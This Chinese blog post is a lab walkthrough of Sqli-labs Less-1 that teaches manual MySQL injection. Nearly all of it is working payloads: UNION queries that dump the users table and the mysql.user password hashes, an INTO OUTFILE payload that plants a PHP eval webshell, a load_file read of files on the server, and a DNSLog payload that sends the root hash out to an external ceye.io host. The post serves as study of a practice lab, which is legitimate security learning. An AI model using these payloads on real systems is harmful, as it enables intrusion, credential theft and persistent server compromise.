TIDE_网络安全

Sqli-labs-Less-0

2019-06-12  本文已影响26人  RabbitMask

目录

基础回顾
  • 注释符
  • 基于类型分类
  • SQL注入基本思路
Sqli-labs-Less-1
  • 数据获取
  • 信息收集
  • 写入WebShell
  • 文件读取
  • DNSLog-OOB

基础回顾

注释符

Mysql 有三种常用注释符:
--[空格] 注意,后边有一个空格
# 通过#进行注释
/* */ 注释掉符号内的内容

但因为要经过url编码(即经过浏览器),我们需要进行对应修改。
--[空格] => --+--%20因为+url编码后会被解析成空格。
# => %23 在html中#有特殊的含义(CSS选择器用于页面定位),所以直接使用其url编码。
/* */ 无需变更,在后边的内联注释waf绕过我们需要用到。

基于类型分类

字符型和数字型最大的区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

SQL注入基本思路:

1.注入点测试,是否存在?字符型or数字型?
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据

Sqli-labs-Less-1

数据获取

我们按照完整渗透思路来一遍:

id=1 and 1=2 [正常]
id=1%27      [报错]
id=1%27--+   [正常]

由此判断存在注入,类型为字符型,则我们需要闭合前面的单引号,并将后面的单引号注释掉。
使用ORDER BY 猜解字段数量(二分法):
ORDER BY 语句用于根据指定的列对结果集进行排序(升序),可跟列名或数字。

id=1%27 order by 10--+ [报错]
id=1%27 order by 5--+  [报错]
id=1%27 order by 3--+  [正常]
id=1%27 order by 4--+  [报错]

其中报错返回Unknown column '4' in 'order clause',其不能识别列4,由此我们判断该表存在三列,即字段数为3。

使用UNION判断显示位与显示的字段顺序:
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

id=0%27 union select 1,2,3%23

由此判断2,3字段为显示位。
然后我们继续借助联合查询获取当前数据库信息:

#查看当前数据库
id=0%27 union select 1,(select database()),3%23
#查看指定数据库中的数据表
id=0%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=%27security%27),3%23
#查看指定数据库中的指定数据表中的字段名
id=0%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=%27users%27 and table_schema=%27security%27),3%23
#查看指定数据库中的指定数据表中的指定字段的数据
id=0%27 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)%23

然而真正的渗透测试到这里远没有结束,测试任务正式开始~

信息收集

#查看当前用户权限和版本号,可以根据数据库版本查找相关漏洞利用
id=0%27 union select 1,(user()),(version())%23
#查看全部数据库:
id=0%27 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

在返回的数据库中我们看到了默认表MySQL,众所周知MySQL数据库默认root密码的位置是mysql.user,此处刚好为root权限,我们尝试获取用户密码:

#查看mysql.user字段名
id=0%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=%27users%27 and table_schema=%27mysql%27),3%23
#查看数据库账号密码
id=0%27 union select 1,(select group_concat(user) from mysql.user),(select group_concat(hex(password)) from mysql.user)%23

注意,这里数据库中的密码是带有*的,不符合union语法,会报如下错误。

所以我们进行16进制转码,读出后再转会字符串进行破解。

到这里配置和环境允许的话可以尝试数据库直连。

写入WebShell

在这里我们继续我们的拓展,尝试手工注入webshell,因为是实验环境,此处假设我们拿到了服务器绝对路径:

id=0%27 union select 1,2,%27<?php eval($_POST[rabbit]);?>%27INTO OUTFILE %27C:/Environment/WWW/sqllibs/Less-1/rabbit.php%27--+

webshell上传成功,过刀菜狗直连即可,此处不再拓展。

文件读取

然后我们继续换方向,通过sql手工注入读取敏感文件,额,Windows没啥好玩的,自己写个flag吧:

id=0%27 union select 1,load_file(%27C:/Environment/WWW/sqllibs/Less-1/flag.txt%27),3--+

DNSLog-OOB

继续深入,来个进阶模式吧,这里我们之前提到了,2,3位为显示位,如果特殊情形下需求我们只能使用1来获取结果,我们如何去做呢?
DNSLog实现SQL注入结果外带,来实现OOB攻击。

id=0%27 union select LOAD_FILE(concat("////",(select mid(password,2) from mysql.user where user=%27root%27 limit 1),%27.xxxxx.ceye.io//abc%27)),2,3--+

这里我们做点解释:

显然,因为不是显示位,我们没有收到任何回显:

查看下我们的DNS日志:

成功拿到root用户hash,多说一句,显然DNSlog的方式不仅可以应对非显示位的SQL注入,更可以胜任SQL盲注的问题。

借此机会简单回顾了下SQL手工注入的基础内容,求轻喷~

上一篇下一篇

猜你喜欢

热点阅读